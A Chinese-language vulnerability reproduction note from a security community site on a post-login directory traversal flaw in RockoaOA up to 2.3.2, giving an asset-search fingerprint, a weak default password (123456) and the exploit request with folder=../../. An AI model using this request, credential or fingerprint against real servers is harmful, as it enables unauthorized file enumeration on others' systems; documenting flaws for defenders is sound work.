奇安信攻防社区-RockoaOA beifenAction.php 后台目录遍历漏洞

# RockoaOA beifenAction.php 后台目录遍历漏洞 ## 漏洞描述 RockoaOA beifenAction.php文件中调用了 getfilerows方法，导致了目录遍历漏洞，攻击者通过漏洞可以获取服务器上的文件信息...

RockoaOA beifenAction.php 后台目录遍历漏洞
==================================

漏洞描述
----

RockoaOA beifenAction.php文件中调用了 getfilerows方法，导致了目录遍历漏洞，攻击者通过漏洞可以获取服务器上的文件信息

漏洞影响
----

RockoaOA &lt;= 2.3.2

网络测绘
----

app="Rockoa协同办公系统"

漏洞复现
----

登录页面

![img](https://oss-yg-cztt.yun.qianxin.com/butian-public/f894183a1d9c74783f8f33463972c57bedfad106111a5.jpg)

其中默认存在几个用户存在弱口令 123456

![img](https://oss-yg-cztt.yun.qianxin.com/butian-public/f7442190cbc2c2ea09098cfc159aa932606bb9a2b7044.jpg)

存在漏洞的文件为 `webmain/system/beifen/beifenAction.php`

![img](https://oss-yg-cztt.yun.qianxin.com/butian-public/f35313250223b72ae74588e35e9914b718433c5498ff2.jpg)

查看 `getfilerows()` 方法，在 `include/chajian/fileChajian.php`

![img](https://oss-yg-cztt.yun.qianxin.com/butian-public/f7828179d53781a586c152cd33f572df74ff87cf1f68e.jpg)

该方法遍历目录下的文件名并输出，登录后，发送请求包

```python
POST /index.php?a=getdatssss&m=beifen&d=system&ajaxbool=true

folder=../../
```

![img](https://oss-yg-cztt.yun.qianxin.com/butian-public/f804756049c7401d3d87a7621e95f021be286230a43a4.jpg)

0 条评论